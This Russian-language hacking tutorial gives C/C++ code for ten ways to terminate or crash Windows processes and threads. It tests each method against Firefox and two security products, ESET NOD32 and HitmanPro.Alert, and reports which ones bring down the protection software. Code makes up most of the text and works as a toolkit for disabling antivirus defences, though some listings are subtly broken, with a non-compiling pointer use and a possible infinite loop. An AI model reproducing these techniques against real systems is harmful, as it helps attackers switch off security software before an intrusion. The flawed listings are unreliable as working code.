При написании софта, взаимодействующего с другими приложениями, порой возникает необходимость завершить выполнение сторонних процессов. Есть несколько методов, которые могут помочь в этом деле: одни хорошо документированы, другие пытаются завершить нужные процессы более жесткими способами, провоцируя операционную систему прихлопнуть их силой. Я покажу несколько способов завершения и разрушения процессов в Windows.
Еще по теме: Как убить процесс системы обнаружения атак (EDR)
В качестве «подопытных кроликов» возьмем браузер Firefox, антивирусный комплекс ESET NOD32 Smart Security и программа защиты от 0day-угроз HitmanPro.Alert, которые будут работать в Windows 10 LTSB 1809. Все приложения последних версий, скачаны с официальных сайтов и трудятся на полную мощность — хоть некоторые и в пробных режимах. Разрядность как ОС, так и приложений будет x64.
Подготовка
Работать мы будем с процессами и потоками, поэтому сначала нужно написать необходимые вспомогательные функции. Кроме того, нам понадобится функция, повышающая наши привилегии в системе до отладочных (SE_DEBUG_NAME). Получать мы их будем стандартным образом, используя функции OpenProcessToken и LookupPrivilegeValue.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
BOOL set_privileges(LPCTSTR szPrivName) { TOKEN_PRIVILEGES token_priv = { 0 }; HANDLE hToken = 0; token_priv.PrivilegeCount = 1; token_priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { #ifdef DEBUG std::cout << "OpenProcessToken error: " << GetLastError() << std::endl; #endif return FALSE; } if (!LookupPrivilegeValue(NULL, szPrivName, &token_priv.Privileges[0].Luid)) { #ifdef DEBUG std::cout << "LookupPrivilegeValue error: " << GetLastError() << std::endl; #endif CloseHandle(hToken); return FALSE; } if (!AdjustTokenPrivileges(hToken, FALSE, &token_priv, sizeof(token_priv), NULL, NULL)) { #ifdef DEBUG std::cout << "AdjustTokenPrivileges error: " << GetLastError() << std::endl; #endif CloseHandle(hToken); return FALSE; } |
1 2 |
if (set_privileges(SE_DEBUG_NAME)) printf("SE_DEBUG_NAME is granted! \n"); |
Идентификатор процесса мы получим при помощи функций CreateToolhelp32Snapshot (создадим снимок активных процессов в системе), далее будем перебирать и сравнивать процессы с нужным именем, функциями Process32First и Process32Next.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
DWORD get_pid_from_name(IN const char * pProcName) { HANDLE snapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot_proc == INVALID_HANDLE_VALUE) { #ifdef DEBUG std::cout << "CreateToolhelp32Snapshot error: " << GetLastError() << std::endl; #endif return 0; } PROCESSENTRY32 ProcessEntry; DWORD pid; ProcessEntry.dwSize = sizeof(ProcessEntry); if (Process32First(snapshot_proc, &ProcessEntry)) { while (Process32Next(snapshot_proc, &ProcessEntry)) { if (!stricmp(ProcessEntry.szExeFile, pProcName)) { pid = ProcessEntry.th32ProcessID; CloseHandle(snapshot_proc); return pid; } } } CloseHandle(snapshot_proc); return 0; } |
Чтобы получить PID процесса firefox.exe, функцию надо вызвать таким образом:
1 |
DWORD firefox_pid = get_pid_from_name("firefox.exe"); |
Осталась маленькая функция получения хендла. Обратите внимание: она позволяет задать права доступа к нужному процессу.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
HANDLE get_process_handle(IN DWORD pid, DWORD access) { HANDLE hProcess = OpenProcess(access, FALSE, pid); if (!hProcess) { #ifdef DEBUG std::cout << "OpenProcess error: " << GetLastError() << std::endl; #endif return FALSE; } return hProcess; } |
Если функция отрабатывает успешно, она возвращает хендл процесса, если нет — FALSE. Вызывается она таким образом:
1 |
HANDLE hFirefox = get_process_handle(firefox_pid, PROCESS_ALL_ACCESS); |
В примере выше мы получаем хендл с правами PROCESS_ALL_ACCESS.
Способы завершения процессов
Сначала поработаем с процессами, а потом с потоками. Я буду писать маленькие функции, которые демонстрируют применение различных методов для завершения процессов и потоков. Обратите внимание — использовать будем только необходимые права доступа для процессов, потому что не каждый процесс позволит открыть себя с правами PROCESS_ALL_ACCESS, особенно это касается защитных решений.
Думаю, первое, что приходит в голову, — это применить функцию NtTerminateProcess.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
BOOL kill_proc1(IN DWORD pid) { HANDLE hProc = get_process_handle(pid, PROCESS_TERMINATE); // Обрати внимание на режим доступа — мы не просим ничего лишнего if (!NtTerminateProcess(hProc, 0)) { #ifdef DEBUG std::cout << "NtTerminateProcess error: " << GetLastError() << std::endl; #endif return FALSE; } return TRUE; } |
Разумеется, ESET NOD32 Smart Security и HitmanPro.Alert легко противостоят такому простому трюку и выводят сообщение ERROR_ACCESS_DENIED при попытке их завершения. Зато браузер Firefox с удовольствием закрывается.
Следующий способ закрыть процесс — создать поток в интересующем нас процессе при помощи функции CreateRemoteThread и запустить этим потоком функцию ExitProcess. Вот код функции:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
BOOL kill_proc2(IN DWORD pid) { HANDLE hProc = get_process_handle(pid, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION); HMODULE hKernel32 = GetModuleHandle("kernel32.dll"); if (!hKernel32) return FALSE; void *pExitProcess = GetProcAddress(hKernel32, "ExitProcess"); if (!pExitProcess) return FALSE; HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pExitProcess, NULL, 0, NULL); if (!hThread) { #ifdef DEBUG std::cout << "CreateRemoteThread error: " << GetLastError() << std::endl; #endif return FALSE; } return TRUE; } |
Как видно из кода, вначале мы получаем PID процесса с правами PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION (лишние права не берем), далее получаем адрес функции ExitProcess из библиотеки kernel32.dll и, наконец, передаем его в функцию CreateRemoteThread. Firefox закрывается, а защитные решения показывают стойкость к этому приему.
Следующий способ будет манипулировать с заданиями (job) при помощи функций CreateJobObject → AssignProcessToJobObject → TerminateJobObject. Сначала код, потом я расскажу, что он делает.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
BOOL kill_proc3(IN DWORD pid) { HANDLE hProc = get_process_handle(pid, PROCESS_SET_QUOTA | PROCESS_TERMINATE); HANDLE job = CreateJobObjectA(NULL, NULL); if (!job) { #ifdef DEBUG std::cout << "CreateJobObjectA error: " << GetLastError() << std::endl; #endif return FALSE; } if (!AssignProcessToJobObject(job, hProc)) { #ifdef DEBUG std::cout << "AssignProcessToJobObject error: " << GetLastError() << std::endl; #endif return FALSE; } if (!TerminateJobObject(job, 0)) { #ifdef DEBUG std::cout << "TerminateJobObject error: " << GetLastError() << std::endl; #endif return FALSE; } return TRUE; } |
Итак, сначала мы создаем объект задания функцией CreateJobObjectA. Объект задания — это такой объект ядра, который позволяет работать с группой процессов. Ну а в данном случае группа процессов будет состоять из одного процесса. Далее функцией AssignProcessToJobObject мы связываем наш процесс с созданным объектом задания.
Функцией TerminateJobObject мы можем завершить все процессы, которые связаны с объектом задания (в нашем случае один процесс). Результат выполнения этой подпрограммы таков: NOD32 успешно выдержал эту атаку, браузер Firefox закрылся, и также закрылся процесс HitmanPro.Alert.
Переходим к следующему способу завершения процессов: в этот раз мы притворимся отладчиком!
1 2 3 4 5 6 7 8 9 10 11 12 |
BOOL kill_proc4(IN DWORD pid) { HANDLE hProc = get_process_handle(pid, PROCESS_SUSPEND_RESUME); HANDLE dbg_obj = NULL; NTSTATUS status = NtCreateDebugObject(&dbg_obj, 0x2, NULL, 0x1); status = NtDebugActiveProcess(hProc, dbg_obj); CloseHandle(hProc); return TRUE; } |
Здесь мы создаем объект отладки, используя функцию NtCreateDebugObject. Чтобы понимать, что происходит, остановимся на ней немного подробнее. Вот ее прототип:
1 2 3 4 5 6 7 8 |
NTSYSAPI NTSTATUS NTAPI NtCreateDebugObject( OUT PHANDLE DebugObjectHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN BOOLEAN KillProcessOnExit ); |
Параметр DebugObjectHandle — это хендл объекта отладки, который мы передаем по ссылке. Далее идет маска доступов, которую мы выставляем в 0x2, что значит DEBUG_OBJECT_PROCESSASSIGN, третье поле атрибутов оставляем пустым, а четвертое ставим в 0x1 — это значит KillProcessOnExit.
Теперь присоединяем созданный объект отладки к процессу функцией NtDebugActiveProcess. Если после этого закрыть хендл, процесс должен быть завершен операционной системой. Хендл закрываем как всегда — CloseHandle. После этого подопытный Firefox закрывается без проблем, как и HitmanPro.Alert. Но NOD32 по-прежнему выдерживает наш натиск.
Теперь попробуем заставить закрыться приложение, заняв всю его память. Сначала код.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
BOOL kill_proc5(IN DWORD pid) { HANDLE hProc = get_process_handle(pid, PROCESS_VM_OPERATION); unsigned int count = 0; size_t sz = 0x400000000; // 16 Гбайт while (sz >= 0x1000) { void *mem = VirtualAllocEx(hProc, NULL, sz, MEM_RESERVE, PAGE_READONLY); if (mem) count++; // else sz /= 2; // Будем занимать память до последнего } CloseHandle(hProc); return TRUE; } |
Тут все просто: при помощи функции VirtualAllocEx мы пытаемся занять всю доступную память в приложении с флагом PAGE_READONLY, то есть доступной только для чтения. От этих действий Firefox зависает и падает операционная система, а защитные программы продолжают работать и не позволяют разрушить себя таким образом.
Еще по теме: Внедрение кода в чужое приложение с помощью Frida
Следующий способ похож на предыдущий. Изменим атрибуты доступа в памяти приложения на PAGE_NOACCESS при помощи функции VirtualQueryEx → VirtualProtectEx. Код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
BOOL kill_proc6(IN DWORD pid) { HANDLE hProc = get_process_handle(pid, PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | SYNCHRONIZE); void* address = NULL; while (address < 0x80000000000) { MEMORY_BASIC_INFORMATION mem_bi; DWORD mem = VirtualQueryEx(hProc, address, &mem_bi, sizeof(mem_bi)); if (mem) { if (mem_bi.State == MEM_COMMIT) { DWORD protect_state; VirtualProtectEx(hProc, mem_bi.BaseAddress, mem_bi.RegionSize, PAGE_NOACCESS, &protect_state); } address = (void*)(mem_bi.BaseAddress + mem_bi.RegionSize); } else break; } CloseHandle(hProc); return TRUE; } |
Здесь мы сначала в цикле получаем нужную информацию функцией VirtualQueryEx, а потом меняем атрибут защиты региона памяти приложения на PAGE_NOACCESS функцией VirtualProtectEx. Несмотря на схожесть с предыдущим методом, этот подход завершает одно из защитных решений — HitmanPro.Alert и браузер. NOD32 остается непоколебим.
Следующий метод будет использовать функцию DuplicateHandle с параметром DUPLICATE_CLOSE_SOURCE, чтобы закрыть все хендлы процесса и вызвать в нем ошибки.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
BOOL kill_proc7(IN DWORD pid) { HANDLE hProc = get_process_handle(pid, PROCESS_DUP_HANDLE); int i = 0; while ( i < 0x10000 ) { HANDLE hndl = (HANDLE)i; HANDLE dublicate_h = NULL; if (DuplicateHandle(hProc, hndl, GetCurrentProcess(), &dublicate_h, 0, FALSE, DUPLICATE_CLOSE_SOURCE)) { i++; CloseHandle(dublicate_h); } } CloseHandle(hProc); return TRUE; } |
После того как мы пройдемся функцией DuplicateHandle с параметром DUPLICATE_CLOSE_SOURCE по 10 000 хендлов, Firefox упадет, а защитные программы не пострадают.
Итак, мы рассмотрели способы воздействия на сами процессы по их PID. Теперь перейдем непосредственно к потокам.
Способы завершения потоков
Для начала давайте получим список потоков в нужном процессе. Это очень похоже на получение процессов, поэтому сильно заострять внимание на этом я не стану, хотя некоторые моменты необходимо прояснить. Листинг функции получения потоков я снабжу комментариями, обратите на них внимание.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
BOOL get_threads(IN const char * pProcName) { // Для получения списка потоков мы используем ту же функцию, что и для получения // списка процессов, только передаем ей параметр TH32CS_SNAPTHREAD HANDLE pTHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); ULONG process_tid[256]; int tid_count = 0; int number_of_threads = 0; THREADENTRY32 ThreadEntry; ThreadEntry.dwSize = sizeof(ThreadEntry); DWORD pid = get_pid_from_name(pProcName); // Используем похожие функции для потоков, как и в случае с процессами if (Thread32First(pTHandle, &ThreadEntry)) { do{ if (ThreadEntry.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(ThreadEntry.th32OwnerProcessID)) { // Здесь определяем потоки для нужного нам процесса if (ThreadEntry.th32OwnerProcessID == pid) { process_tid[*tid_count] = ThreadEntry.th32ThreadID; #ifdef DEBUG std::cout << "PID: " << pid << " " << "ThreadID: " << process_tid[*tid_count] << std::endl; #endif *tid_count = *tid_count + 1; ++number_of_threads; } } ThreadEntry.dwSize = sizeof(ThreadEntry); } while (Thread32Next(pTHandle, &ThreadEntry)); #ifdef DEBUG std::cout << "Number Threads: " << number_of_threads << std::endl; #endif // Процесс один, а потоков несколько. Поэтому используем цикл, чтобы обойти их все for (; number_of_threads > 0; --number_of_threads) { //kill_threads1(tids[number_of_threads]); // В этом цикле мы будем помещать функции убийства потоков //kill_threads2(tids[number_of_threads]); //kill_threads3(tids[number_of_threads]); #ifdef DEBUG std::cout << "Thread kill: " << number_of_threads << std::endl; #endif } } return TRUE; } |
При помощи этой функции мы будем взаимодействовать с потоками необходимых нам процессов.
Итак, первый способ завершения потоков очень похож на тот, который мы использовали с процессами. Это открытие тредов при помощи функции OpenThread с параметром THREAD_SET_CONTEXT. Далее идет получение адреса ExitProcess и передача его в функцию QueueUserAPC, чтобы она попала в очередь потока.
Похожий способ был с процессами, только использовалась функция CreateRemoteThread. Функция QueueUserAPC позволяет выполнять код в адресном пространстве нужного процесса, в контексте его потока. Код реализации простой:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
BOOL kill_threads1(IN DWORD tid) { HANDLE hTread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid); HMODULE hKernel32 = GetModuleHandle("kernel32.dll"); if (!hKernel32) return FALSE; void *pExitProcess = GetProcAddress(hKernel32, "ExitProcess"); if (!pExitProcess) return FALSE; if (!QueueUserAPC((PAPCFUNC)pExitProcess, hTread, 0)) { #ifdef DEBUG std::cout << "QueueUserAPC error: " << GetLastError() << std::endl; #endif return FALSE; } return TRUE; } |
Я уже думал, что NOD32 SS нам не удастся сломить ничем, но здесь он дрогнул. У нас все-таки получилось разрушить его потоки, вызвать зависание и дальнейшее аварийное завершение. Что интересно, HitmanPro.Alert выдержал эту атаку, ну а Firefox, конечно, рухнул.
Переходим к следующему способу. Он проще: будем просто открывать треды процессов и пытаться завершить их при помощи TerminateThread:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
BOOL kill_threads2(IN DWORD tid) { HANDLE hThread = OpenThread(THREAD_TERMINATE, FALSE, tid); if (!TerminateThread(hThread, 0)) { #ifdef DEBUG std::cout << "TerminateThread error: " << GetLastError() << std::endl; #endif return FALSE; } return TRUE; } |
Способ простой и не очень эффективный, особенно против серьезных программ: таким образом удалось убить только Firefox, остальные приложения выдержали атаку.
И последний способ, который мы рассмотрим, — это попытка сменить контекст потока (функция SetThreadContext) с прыжком в нулевые данные. Это должно вызвать ошибку и аварийное завершение приложения.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
BOOL kill_threads3(IN DWORD tid) { HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid); CONTEXT ctx; memset(&ctx, 0, sizeof(ctx)); // Выделяем память ctx и заполняем ее нулями ctx.ContextFlags = CONTEXT_CONTROL; SetThreadContext(hThread, &ctx); // Меняем контекст CloseHandle(hThread); return TRUE; } |
Надо сказать, что все защитные решения выдержали этот трюк, погиб только несчастный браузер.
Заключение
В этой статье мы рассмотрели несколько способов завершения потоков и процессов, немного разобрались, как Windows работает с ними, и выяснили, что даже защитные решения порой не могут себя защитить. Но, как известно, чтобы создать хорошую защиту, нужно исключить все слабые места, а чтобы сделать успешную атаку — нужно найти всего одно слабое место. С чем мы и справились!
Еще по теме: Лучшие программы для реверс-инжиниринга